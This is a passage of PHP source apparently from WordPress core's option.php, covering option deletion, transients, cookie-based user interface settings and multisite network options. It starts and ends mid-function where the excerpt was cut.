filter is documented in wp-includes/option.php */ if ( apply_filters( "default_option_{$option}", false, $option, false ) !== get_option( $option ) ) { return false; } } $serialized_value = maybe_serialize( $value ); $autoload = ( 'no' === $autoload || false === $autoload ) ? 'no' : 'yes'; /** * Fires before an option is added. * * @since 2.9.0 * * @param string $option Name of the option to add. * @param mixed $value Value of the option. */ do_action( 'add_option', $option, $value ); $result = $wpdb->query( $wpdb->prepare( "INSERT INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)", $option, $serialized_value, $autoload ) ); if ( ! $result ) { return false; } if ( ! wp_installing() ) { if ( 'yes' === $autoload ) { $alloptions = wp_load_alloptions( true ); $alloptions[ $option ] = $serialized_value; wp_cache_set( 'alloptions', $alloptions, 'options' ); } else { wp_cache_set( $option, $serialized_value, 'options' ); } } // This option exists now. $notoptions = wp_cache_get( 'notoptions', 'options' ); // Yes, again... we need it to be fresh. if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) { unset( $notoptions[ $option ] ); wp_cache_set( 'notoptions', $notoptions, 'options' ); } /** * Fires after a specific option has been added. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.5.0 As "add_option_{$name}" * @since 3.0.0 * * @param string $option Name of the option to add. * @param mixed $value Value of the option. */ do_action( "add_option_{$option}", $option, $value ); /** * Fires after an option has been added. * * @since 2.9.0 * * @param string $option Name of the added option. * @param mixed $value Value of the option. */ do_action( 'added_option', $option, $value ); return true; } /** * Removes option by name. Prevents removal of protected WordPress options. * * @since 1.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $option Name of the option to delete. Expected to not be SQL-escaped. * @return bool True if the option was deleted, false otherwise. */ function delete_option( $option ) { global $wpdb; if ( is_scalar( $option ) ) { $option = trim( $option ); } if ( empty( $option ) ) { return false; } wp_protect_special_option( $option ); // Get the ID, if no ID then return. $row = $wpdb->get_row( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $option ) ); if ( is_null( $row ) ) { return false; } /** * Fires immediately before an option is deleted. * * @since 2.9.0 * * @param string $option Name of the option to delete. */ do_action( 'delete_option', $option ); $result = $wpdb->delete( $wpdb->options, array( 'option_name' => $option ) ); if ( ! wp_installing() ) { if ( 'yes' === $row->autoload ) { $alloptions = wp_load_alloptions( true ); if ( is_array( $alloptions ) && isset( $alloptions[ $option ] ) ) { unset( $alloptions[ $option ] ); wp_cache_set( 'alloptions', $alloptions, 'options' ); } } else { wp_cache_delete( $option, 'options' ); } } if ( $result ) { /** * Fires after a specific option has been deleted. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 3.0.0 * * @param string $option Name of the deleted option. */ do_action( "delete_option_{$option}", $option ); /** * Fires after an option has been deleted. * * @since 2.9.0 * * @param string $option Name of the deleted option. */ do_action( 'deleted_option', $option ); return true; } return false; } /** * Deletes a transient. * * @since 2.8.0 * * @param string $transient Transient name. Expected to not be SQL-escaped. * @return bool True if the transient was deleted, false otherwise. */ function delete_transient( $transient ) { /** * Fires immediately before a specific transient is deleted. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * * @param string $transient Transient name. */ do_action( "delete_transient_{$transient}", $transient ); if ( wp_using_ext_object_cache() || wp_installing() ) { $result = wp_cache_delete( $transient, 'transient' ); } else { $option_timeout = '_transient_timeout_' . $transient; $option = '_transient_' . $transient; $result = delete_option( $option ); if ( $result ) { delete_option( $option_timeout ); } } if ( $result ) { /** * Fires after a transient is deleted. * * @since 3.0.0 * * @param string $transient Deleted transient name. */ do_action( 'deleted_transient', $transient ); } return $result; } /** * Retrieves the value of a transient. * * If the transient does not exist, does not have a value, or has expired, * then the return value will be false. * * @since 2.8.0 * * @param string $transient Transient name. Expected to not be SQL-escaped. * @return mixed Value of transient. */ function get_transient( $transient ) { /** * Filters the value of an existing transient before it is retrieved. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * Returning a truthy value from the filter will effectively short-circuit retrieval * and return the passed value instead. * * @since 2.8.0 * @since 4.4.0 The `$transient` parameter was added * * @param mixed $pre_transient The default value to return if the transient does not exist. * Any value other than false will short-circuit the retrieval * of the transient, and return that value. * @param string $transient Transient name. */ $pre = apply_filters( "pre_transient_{$transient}", false, $transient ); if ( false !== $pre ) { return $pre; } if ( wp_using_ext_object_cache() || wp_installing() ) { $value = wp_cache_get( $transient, 'transient' ); } else { $transient_option = '_transient_' . $transient; if ( ! wp_installing() ) { // If option is not in alloptions, it is not autoloaded and thus has a timeout. $alloptions = wp_load_alloptions(); if ( ! isset( $alloptions[ $transient_option ] ) ) { $transient_timeout = '_transient_timeout_' . $transient; $timeout = get_option( $transient_timeout ); if ( false !== $timeout && $timeout < time() ) { delete_option( $transient_option ); delete_option( $transient_timeout ); $value = false; } } } if ( ! isset( $value ) ) { $value = get_option( $transient_option ); } } /** * Filters an existing transient's value. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 2.8.0 * @since 4.4.0 The `$transient` parameter was added * * @param mixed $value Value of transient. * @param string $transient Transient name. */ return apply_filters( "transient_{$transient}", $value, $transient ); } /** * Sets/updates the value of a transient. * * You do not need to serialize values. If the value needs to be serialized, * then it will be serialized before it is set. * * @since 2.8.0 * * @param string $transient Transient name. Expected to not be SQL-escaped. * Must be 172 characters or fewer in length. * @param mixed $value Transient value. Must be serializable if non-scalar. * Expected to not be SQL-escaped. * @param int $expiration Optional. Time until expiration in seconds. Default 0 (no expiration). * @return bool True if the value was set, false otherwise. */ function set_transient( $transient, $value, $expiration = 0 ) { $expiration = (int) $expiration; /** * Filters a specific transient before its value is set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * @since 4.2.0 The `$expiration` parameter was added. * @since 4.4.0 The `$transient` parameter was added. * * @param mixed $value New value of transient. * @param int $expiration Time until expiration in seconds. * @param string $transient Transient name. */ $value = apply_filters( "pre_set_transient_{$transient}", $value, $expiration, $transient ); /** * Filters the expiration for a transient before its value is set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 4.4.0 * * @param int $expiration Time until expiration in seconds. Use 0 for no expiration. * @param mixed $value New value of transient. * @param string $transient Transient name. */ $expiration = apply_filters( "expiration_of_transient_{$transient}", $expiration, $value, $transient ); if ( wp_using_ext_object_cache() || wp_installing() ) { $result = wp_cache_set( $transient, $value, 'transient', $expiration ); } else { $transient_timeout = '_transient_timeout_' . $transient; $transient_option = '_transient_' . $transient; if ( false === get_option( $transient_option ) ) { $autoload = 'yes'; if ( $expiration ) { $autoload = 'no'; add_option( $transient_timeout, time() + $expiration, '', 'no' ); } $result = add_option( $transient_option, $value, '', $autoload ); } else { // If expiration is requested, but the transient has no timeout option, // delete, then re-create transient rather than update. $update = true; if ( $expiration ) { if ( false === get_option( $transient_timeout ) ) { delete_option( $transient_option ); add_option( $transient_timeout, time() + $expiration, '', 'no' ); $result = add_option( $transient_option, $value, '', 'no' ); $update = false; } else { update_option( $transient_timeout, time() + $expiration ); } } if ( $update ) { $result = update_option( $transient_option, $value ); } } } if ( $result ) { /** * Fires after the value for a specific transient has been set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * @since 3.6.0 The `$value` and `$expiration` parameters were added. * @since 4.4.0 The `$transient` parameter was added. * * @param mixed $value Transient value. * @param int $expiration Time until expiration in seconds. * @param string $transient The name of the transient. */ do_action( "set_transient_{$transient}", $value, $expiration, $transient ); /** * Fires after the value for a transient has been set. * * @since 3.0.0 * @since 3.6.0 The `$value` and `$expiration` parameters were added. * * @param string $transient The name of the transient. * @param mixed $value Transient value. * @param int $expiration Time until expiration in seconds. */ do_action( 'setted_transient', $transient, $value, $expiration ); } return $result; } /** * Deletes all expired transients. * * The multi-table delete syntax is used to delete the transient record * from table a, and the corresponding transient_timeout record from table b. * * @since 4.9.0 * * @param bool $force_db Optional. Force cleanup to run against the database even when an external object cache is used. */ function delete_expired_transients( $force_db = false ) { global $wpdb; if ( ! $force_db && wp_using_ext_object_cache() ) { return; } $wpdb->query( $wpdb->prepare( "DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b WHERE a.option_name LIKE %s AND a.option_name NOT LIKE %s AND b.option_name = CONCAT( '_transient_timeout_', SUBSTRING( a.option_name, 12 ) ) AND b.option_value < %d", $wpdb->esc_like( '_transient_' ) . '%', $wpdb->esc_like( '_transient_timeout_' ) . '%', time() ) ); if ( ! is_multisite() ) { // Single site stores site transients in the options table. $wpdb->query( $wpdb->prepare( "DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b WHERE a.option_name LIKE %s AND a.option_name NOT LIKE %s AND b.option_name = CONCAT( '_site_transient_timeout_', SUBSTRING( a.option_name, 17 ) ) AND b.option_value < %d", $wpdb->esc_like( '_site_transient_' ) . '%', $wpdb->esc_like( '_site_transient_timeout_' ) . '%', time() ) ); } elseif ( is_multisite() && is_main_site() && is_main_network() ) { // Multisite stores site transients in the sitemeta table. $wpdb->query( $wpdb->prepare( "DELETE a, b FROM {$wpdb->sitemeta} a, {$wpdb->sitemeta} b WHERE a.meta_key LIKE %s AND a.meta_key NOT LIKE %s AND b.meta_key = CONCAT( '_site_transient_timeout_', SUBSTRING( a.meta_key, 17 ) ) AND b.meta_value < %d", $wpdb->esc_like( '_site_transient_' ) . '%', $wpdb->esc_like( '_site_transient_timeout_' ) . '%', time() ) ); } } /** * Saves and restores user interface settings stored in a cookie. * * Checks if the current user-settings cookie is updated and stores it. When no * cookie exists (different browser used), adds the last saved cookie restoring * the settings. * * @since 2.7.0 */ function wp_user_settings() { if ( ! is_admin() || wp_doing_ajax() ) { return; } $user_id = get_current_user_id(); if ( ! $user_id ) { return; } if ( ! is_user_member_of_blog() ) { return; } $settings = (string) get_user_option( 'user-settings', $user_id ); if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) { $cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] ); // No change or both empty. if ( $cookie == $settings ) { return; } $last_saved = (int) get_user_option( 'user-settings-time', $user_id ); $current = isset( $_COOKIE[ 'wp-settings-time-' . $user_id ] ) ? preg_replace( '/[^0-9]/', '', $_COOKIE[ 'wp-settings-time-' . $user_id ] ) : 0; // The cookie is newer than the saved value. Update the user_option and leave the cookie as-is. if ( $current > $last_saved ) { update_user_option( $user_id, 'user-settings', $cookie, false ); update_user_option( $user_id, 'user-settings-time', time() - 5, false ); return; } } // The cookie is not set in the current browser or the saved value is newer. $secure = ( 'https' === parse_url( admin_url(), PHP_URL_SCHEME ) ); setcookie( 'wp-settings-' . $user_id, $settings, time() + YEAR_IN_SECONDS, SITECOOKIEPATH, null, $secure ); setcookie( 'wp-settings-time-' . $user_id, time(), time() + YEAR_IN_SECONDS, SITECOOKIEPATH, null, $secure ); $_COOKIE[ 'wp-settings-' . $user_id ] = $settings; } /** * Retrieves user interface setting value based on setting name. * * @since 2.7.0 * * @param string $name The name of the setting. * @param string|false $default Optional. Default value to return when $name is not set. Default false. * @return mixed The last saved user setting or the default value/false if it doesn't exist. */ function get_user_setting( $name, $default = false ) { $all_user_settings = get_all_user_settings(); return isset( $all_user_settings[ $name ] ) ? $all_user_settings[ $name ] : $default; } /** * Adds or updates user interface setting. * * Both $name and $value can contain only ASCII letters, numbers, hyphens, and underscores. * * This function has to be used before any output has started as it calls setcookie(). * * @since 2.8.0 * * @param string $name The name of the setting. * @param string $value The value for the setting. * @return bool|null True if set successfully, false otherwise. * Null if the current user is not a member of the site. */ function set_user_setting( $name, $value ) { if ( headers_sent() ) { return false; } $all_user_settings = get_all_user_settings(); $all_user_settings[ $name ] = $value; return wp_set_all_user_settings( $all_user_settings ); } /** * Deletes user interface settings. * * Deleting settings would reset them to the defaults. * * This function has to be used before any output has started as it calls setcookie(). * * @since 2.7.0 * * @param string $names The name or array of names of the setting to be deleted. * @return bool|null True if deleted successfully, false otherwise. * Null if the current user is not a member of the site. */ function delete_user_setting( $names ) { if ( headers_sent() ) { return false; } $all_user_settings = get_all_user_settings(); $names = (array) $names; $deleted = false; foreach ( $names as $name ) { if ( isset( $all_user_settings[ $name ] ) ) { unset( $all_user_settings[ $name ] ); $deleted = true; } } if ( $deleted ) { return wp_set_all_user_settings( $all_user_settings ); } return false; } /** * Retrieves all user interface settings. * * @since 2.7.0 * * @global array $_updated_user_settings * * @return array The last saved user settings or empty array. */ function get_all_user_settings() { global $_updated_user_settings; $user_id = get_current_user_id(); if ( ! $user_id ) { return array(); } if ( isset( $_updated_user_settings ) && is_array( $_updated_user_settings ) ) { return $_updated_user_settings; } $user_settings = array(); if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) { $cookie = preg_replace( '/[^A-Za-z0-9=&_-]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] ); if ( strpos( $cookie, '=' ) ) { // '=' cannot be 1st char. parse_str( $cookie, $user_settings ); } } else { $option = get_user_option( 'user-settings', $user_id ); if ( $option && is_string( $option ) ) { parse_str( $option, $user_settings ); } } $_updated_user_settings = $user_settings; return $user_settings; } /** * Private. Sets all user interface settings. * * @since 2.8.0 * @access private * * @global array $_updated_user_settings * * @param array $user_settings User settings. * @return bool|null True if set successfully, false if the current user could not be found. * Null if the current user is not a member of the site. */ function wp_set_all_user_settings( $user_settings ) { global $_updated_user_settings; $user_id = get_current_user_id(); if ( ! $user_id ) { return false; } if ( ! is_user_member_of_blog() ) { return; } $settings = ''; foreach ( $user_settings as $name => $value ) { $_name = preg_replace( '/[^A-Za-z0-9_-]+/', '', $name ); $_value = preg_replace( '/[^A-Za-z0-9_-]+/', '', $value ); if ( ! empty( $_name ) ) { $settings .= $_name . '=' . $_value . '&'; } } $settings = rtrim( $settings, '&' ); parse_str( $settings, $_updated_user_settings ); update_user_option( $user_id, 'user-settings', $settings, false ); update_user_option( $user_id, 'user-settings-time', time(), false ); return true; } /** * Deletes the user settings of the current user. * * @since 2.7.0 */ function delete_all_user_settings() { $user_id = get_current_user_id(); if ( ! $user_id ) { return; } update_user_option( $user_id, 'user-settings', '', false ); setcookie( 'wp-settings-' . $user_id, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH ); } /** * Retrieve an option value for the current network based on name of option. * * @since 2.8.0 * @since 4.4.0 The `$use_cache` parameter was deprecated. * @since 4.4.0 Modified into wrapper for get_network_option() * * @see get_network_option() * * @param string $option Name of the option to retrieve. Expected to not be SQL-escaped. * @param mixed $default Optional. Value to return if the option doesn't exist. Default false. * @param bool $deprecated Whether to use cache. Multisite only. Always set to true. * @return mixed Value set for the option. */ function get_site_option( $option, $default = false, $deprecated = true ) { return get_network_option( null, $option, $default ); } /** * Adds a new option for the current network. * * Existing options will not be updated. Note that prior to 3.3 this wasn't the case. * * @since 2.8.0 * @since 4.4.0 Modified into wrapper for add_network_option() * * @see add_network_option() * * @param string $option Name of the option to add. Expected to not be SQL-escaped. * @param mixed $value Option value, can be anything. Expected to not be SQL-escaped. * @return bool True if the option was added, false otherwise. */ function add_site_option( $option, $value ) { return add_network_option( null, $option, $value ); } /** * Removes a option by name for the current network. * * @since 2.8.0 * @since 4.4.0 Modified into wrapper for delete_network_option() * * @see delete_network_option() * * @param string $option Name of the option to delete. Expected to not be SQL-escaped. * @return bool True if the option was deleted, false otherwise. */ function delete_site_option( $option ) { return delete_network_option( null, $option ); } /** * Updates the value of an option that was already added for the current network. * * @since 2.8.0 * @since 4.4.0 Modified into wrapper for update_network_option() * * @see update_network_option() * * @param string $option Name of the option. Expected to not be SQL-escaped. * @param mixed $value Option value. Expected to not be SQL-escaped. * @return bool True if the value was updated, false otherwise. */ function update_site_option( $option, $value ) { return update_network_option( null, $option, $value ); } /** * Retrieves a network's option value based on the option name. * * @since 4.4.0 * * @see get_option() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $network_id ID of the network. Can be null to default to the current network ID. * @param string $option Name of the option to retrieve. Expected to not be SQL-escaped. * @param mixed $default Optional. Value to return if the option doesn't exist. Default false. * @return mixed Value set for the option. */ function get_network_option( $network_id, $option, $default = false ) { global $wpdb; if ( $network_id && ! is_numeric( $network_id ) ) { return false; } $network_id = (int) $network_id; // Fallback to the current network if a network ID is not specified. if ( ! $network_id ) { $network_id = get_current_network_id(); } /** * Filters the value of an existing network option before it is retrieved. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * Returning a truthy value from the filter will effectively short-circuit retrieval * and return the passed value instead. * * @since 2.9.0 As 'pre_site_option_' . $key * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * @since 4.9.0 The `$default` parameter was added. * * @param mixed $pre_option The value to return instead of the option value. This differs * from `$default`, which is used as the fallback value in the event * the option doesn't exist elsewhere in get_network_option(). * Default false (to skip past the short-circuit). * @param string $option Option name. * @param int $network_id ID of the network. * @param mixed $default The fallback value to return if the option does not exist. * Default false. */ $pre = apply_filters( "pre_site_option_{$option}", false, $option, $network_id, $default ); if ( false !== $pre ) { return $pre; } // Prevent non-existent options from triggering multiple queries. $notoptions_key = "$network_id:notoptions"; $notoptions = wp_cache_get( $notoptions_key, 'site-options' ); if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) { /** * Filters a specific default network option. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 3.4.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * * @param mixed $default The value to return if the site option does not exist * in the database. * @param string $option Option name. * @param int $network_id ID of the network. */ return apply_filters( "default_site_option_{$option}", $default, $option, $network_id ); } if ( ! is_multisite() ) { /** This filter is documented in wp-includes/option.php */ $default = apply_filters( 'default_site_option_' . $option, $default, $option, $network_id ); $value = get_option( $option, $default ); } else { $cache_key = "$network_id:$option"; $value = wp_cache_get( $cache_key, 'site-options' ); if ( ! isset( $value ) || false === $value ) { $row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_value FROM $wpdb->sitemeta WHERE meta_key = %s AND site_id = %d", $option, $network_id ) ); // Has to be get_row() instead of get_var() because of funkiness with 0, false, null values. if ( is_object( $row ) ) { $value = $row->meta_value; $value = maybe_unserialize( $value ); wp_cache_set( $cache_key, $value, 'site-options' ); } else { if ( ! is_array( $notoptions ) ) { $notoptions = array(); } $notoptions[ $option ] = true; wp_cache_set( $notoptions_key, $notoptions, 'site-options' ); /** This filter is documented in wp-includes/option.php */ $value = apply_filters( 'default_site_option_' . $option, $default, $option, $network_id ); } } } if ( ! is_array( $notoptions ) ) { $notoptions = array(); wp_cache_set( $notoptions_key, $notoptions, 'site-options' ); } /** * Filters the value of an existing network option. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As 'site_option_' . $key * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * * @param mixed $value Value of network option. * @param string $option Option name. * @param int $network_id ID of the network. */ return apply_filters( "site_option_{$option}", $value, $option, $network_id ); } /** * Adds a new network option. * * Existing options will not be updated. * * @since 4.4.0 * * @see add_option() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $network_id ID of the network. Can be null to default to the current network ID. * @param string $option Name of the option to add. Expected to not be SQL-escaped. * @param mixed $value Option value, can be anything. Expected to not be SQL-escaped. * @return bool True if the option was added, false otherwise. */ function add_network_option( $network_id, $option, $value ) { global $wpdb; if ( $network_id && ! is_numeric( $network_id ) ) { return false; } $network_id = (int) $network_id; // Fallback to the current network if a network ID is not specified. if ( ! $network_id ) { $network_id = get_current_network_id(); } wp_protect_special_option( $option ); /** * Filters the value of a specific network option before it is added. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As 'pre_add_site_option_' . $key * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * * @param mixed $value Value of network option. * @param string $option Option name. * @param int $network_id ID of the network. */ $value = apply_filters( "pre_add_site_option_{$option}", $value, $option, $network_id ); $notoptions_key = "$network_id:notoptions"; if ( ! is_multisite() ) { $result = add_option( $option, $value, '', 'no' ); } else { $cache_key = "$network_id:$option"; // Make sure the option doesn't already exist. // We can check the 'notoptions' cache before we ask for a DB query. $notoptions = wp_cache_get( $notoptions_key, 'site-options' ); if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) { if ( false !== get_network_option( $network_id, $option, false ) ) { return false; } } $value = sanitize_option( $option, $value ); $serialized_value = maybe_serialize( $value ); $result = $wpdb->insert( $wpdb->sitemeta, array( 'site_id' => $network_id, 'meta_key' => $option, 'meta_value' => $serialized_value, ) ); if ( ! $result ) { return false; } wp_cache_set( $cache_key, $value, 'site-options' ); // This option exists now. $notoptions = wp_cache_get( $notoptions_key, 'site-options' ); // Yes, again... we need it to be fresh. if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) { unset( $notoptions[ $option ] ); wp_cache_set( $notoptions_key, $notoptions, 'site-options' ); } } if ( $result ) { /** * Fires after a specific network option has been successfully added. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As "add_site_option_{$key}" * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param mixed $value Value of the network option. * @param int $network_id ID of the network. */ do_action( "add_site_option_{$option}", $option, $value, $network_id ); /** * Fires after a network option has been successfully added. * * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param mixed $value Value of the network option. * @param int $network_id ID of the network. */ do_action( 'add_site_option', $option, $value, $network_id ); return true; } return false; } /** * Removes a network option by name. * * @since 4.4.0 * * @see delete_option() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $network_id ID of the network. Can be null to default to the current network ID. * @param string $option Name of the option to delete. Expected to not be SQL-escaped. * @return bool True if the option was deleted, false otherwise. */ function delete_network_option( $network_id, $option ) { global $wpdb; if ( $network_id && ! is_numeric( $network_id ) ) { return false; } $network_id = (int) $network_id; // Fallback to the current network if a network ID is not specified. if ( ! $network_id ) { $network_id = get_current_network_id(); } /** * Fires immediately before a specific network option is deleted. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Option name. * @param int $network_id ID of the network. */ do_action( "pre_delete_site_option_{$option}", $option, $network_id ); if ( ! is_multisite() ) { $result = delete_option( $option ); } else { $row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM {$wpdb->sitemeta} WHERE meta_key = %s AND site_id = %d", $option, $network_id ) ); if ( is_null( $row ) || ! $row->meta_id ) { return false; } $cache_key = "$network_id:$option"; wp_cache_delete( $cache_key, 'site-options' ); $result = $wpdb->delete( $wpdb->sitemeta, array( 'meta_key' => $option, 'site_id' => $network_id, ) ); } if ( $result ) { /** * Fires after a specific network option has been deleted. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As "delete_site_option_{$key}" * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param int $network_id ID of the network. */ do_action( "delete_site_option_{$option}", $option, $network_id ); /** * Fires after a network option has been deleted. * * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param int $network_id ID of the network. */ do_action( 'delete_site_option', $option, $network_id ); return true; } return false; } /** * Updates the value of a network option that was already added. * * @since 4.4.0 * * @see update_option() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $network_id ID of the network. Can be null to default to the current network ID. * @param string $option Name of the option. Expected to not be SQL-escaped. * @param mixed $value Option value. Expected to not be SQL-escaped. * @return bool True if the value was updated, false otherwise. */ function update_network_option( $network_id, $option, $value ) { global $wpdb; if ( $network_id && ! is_numeric( $network_id ) ) { return false; } $network_id = (int) $network_id; // Fallback to the current network if a network ID is not specified. if ( ! $network_id ) { $network_id = get_current_network_id(); } wp_protect_special_option( $option ); $old_value = get_network_option( $network_id, $option, false ); /** * Filters a specific network option before its value is updated. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As 'pre_update_site_option_' . $key * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * * @param mixed $value New value of the network option. * @param mixed $old_value Old value of the network option. * @param string $option Option name. * @param int $network_id ID of the network. */ $value = apply_filters( "pre_update_site_option_{$option}", $value, $old_value, $option, $network_id ); /* * If the new and old values are the same, no need to update. * * Unserialized values will be adequate in most cases. If the unserialized * data differs, the (maybe) serialized data is checked to avoid * unnecessary database calls for otherwise identical object instances. * * See https://core.trac.wordpress.org/ticket/44956 */ if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) { return false; } if ( false === $old_value ) { return add_network_option( $network_id, $option, $value ); } $notoptions_key = "$network_id:notoptions"; $notoptions = wp_cache_get( $notoptions_key, 'site-options' ); if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) { unset( $notoptions[ $option ] ); wp_cache_set( $notoptions_key, $notoptions, 'site-options' ); } if ( ! is_multisite() ) { $result = update_option( $option, $value, 'no' ); } else { $value = sanitize_option( $option, $value ); $serialized_value = maybe_serialize( $value ); $result = $wpdb->update( $wpdb->sitemeta, array( 'meta_value' => $serialized_value ), array( 'site_id' => $network_id, 'meta_key' => $option, ) ); if ( $result ) { $cache_key = "$network_id:$option"; wp_cache_set( $cache_key, $value, 'site-options' ); } } if ( $result ) { /** * Fires after the value of a specific network option has been successfully updated. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As "update_site_option_{$key}" * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param mixed $value Current value of the network option. * @param mixed $old_value Old value of the network option. * @param int $network_id ID of the network. */ do_action( "update_site_option_{$option}", $option, $value, $old_value, $network_id ); /** * Fires after the value of a network option has been successfully updated. * * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param mixed $value Current value of the network option. * @param mixed $old_value Old value of the network option. * @param int $network_id ID of the network. */ do_action( 'update_site_option', $option, $value, $old_value, $network_id ); return true; } return false; } /** * Deletes a site transient. * * @since 2.9.0 * * @param string $transient Transient name. Expected to not be SQL-escaped. * @return bool True if the transient was deleted, false otherwise. */ function delete_site_transient( $transient ) { /** * Fires immediately before a specific site transient is deleted. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * * @param string $transient Transient name. */ do_action( "delete_site_transient_{$transient}", $transient ); if ( wp_using_ext_object_cache() || wp_installing() ) { $result = wp_cache_delete( $transient, 'site-transient' ); } else { $option_timeout = '_site_transient_timeout_' . $transient; $option = '_site_transient_' . $transient; $result = delete_site_option( $option ); if ( $result ) { delete_site_option( $option_timeout ); } } if ( $result ) { /** * Fires after a transient is deleted. * * @since 3.0.0 * * @param string $transient Deleted transient name. */ do_action( 'deleted_site_transient', $transient ); } return $result; } /** * Retrieves the value of a site transient. * * If the transient does not exist, does not have a value, or has expired, * then the return value will be false. * * @since 2.9.0 * * @see get_transient() * * @param string $transient Transient name. Expected to not be SQL-escaped. * @return mixed Value of transient. */ function get_site_transient( $transient ) { /** * Filters the value of an existing site transient before it is retrieved. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * Returning a truthy value from the filter will effectively short-circuit retrieval * and return the passed value instead. * * @since 2.9.0 * @since 4.4.0 The `$transient` parameter was added. * * @param mixed $pre_site_transient The default value to return if the site transient does not exist. * Any value other than false will short-circuit the retrieval * of the transient, and return that value. * @param string $transient Transient name. */ $pre = apply_filters( "pre_site_transient_{$transient}", false, $transient ); if ( false !== $pre ) { return $pre; } if ( wp_using_ext_object_cache() || wp_installing() ) { $value = wp_cache_get( $transient, 'site-transient' ); } else { // Core transients that do not have a timeout. Listed here so querying timeouts can be avoided. $no_timeout = array( 'update_core', 'update_plugins', 'update_themes' ); $transient_option = '_site_transient_' . $transient; if ( ! in_array( $transient, $no_timeout, true ) ) { $transient_timeout = '_site_transient_timeout_' . $transient; $timeout = get_site_option( $transient_timeout ); if ( false !== $timeout && $timeout < time() ) { delete_site_option( $transient_option ); delete_site_option( $transient_timeout ); $value = false; } } if ( ! isset( $value ) ) { $value = get_site_option( $transient_option ); } } /** * Filters the value of an existing site transient. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 2.9.0 * @since 4.4.0 The `$transient` parameter was added. * * @param mixed $value Value of site transient. * @param string $transient Transient name. */ return apply_filters( "site_transient_{$transient}", $value, $transient ); } /** * Sets/updates the value of a site transient. * * You do not need to serialize values. If the value needs to be serialized, * then it will be serialized before it is set. * * @since 2.9.0 * * @see set_transient() * * @param string $transient Transient name. Expected to not be SQL-escaped. Must be * 167 characters or fewer in length. * @param mixed $value Transient value. Expected to not be SQL-escaped. * @param int $expiration Optional. Time until expiration in seconds. Default 0 (no expiration). * @return bool True if the value was set, false otherwise. */ function set_site_transient( $transient, $value, $expiration = 0 ) { /** * Filters the value of a specific site transient before it is set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * @since 4.4.0 The `$transient` parameter was added. * * @param mixed $value New value of site transient. * @param string $transient Transient name. */ $value = apply_filters( "pre_set_site_transient_{$transient}", $value, $transient ); $expiration = (int) $expiration; /** * Filters the expiration for a site transient before its value is set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 4.4.0 * * @param int $expiration Time until expiration in seconds. Use 0 for no expiration. * @param mixed $value New value of site transient. * @param string $transient Transient name. */ $expiration = apply_filters( 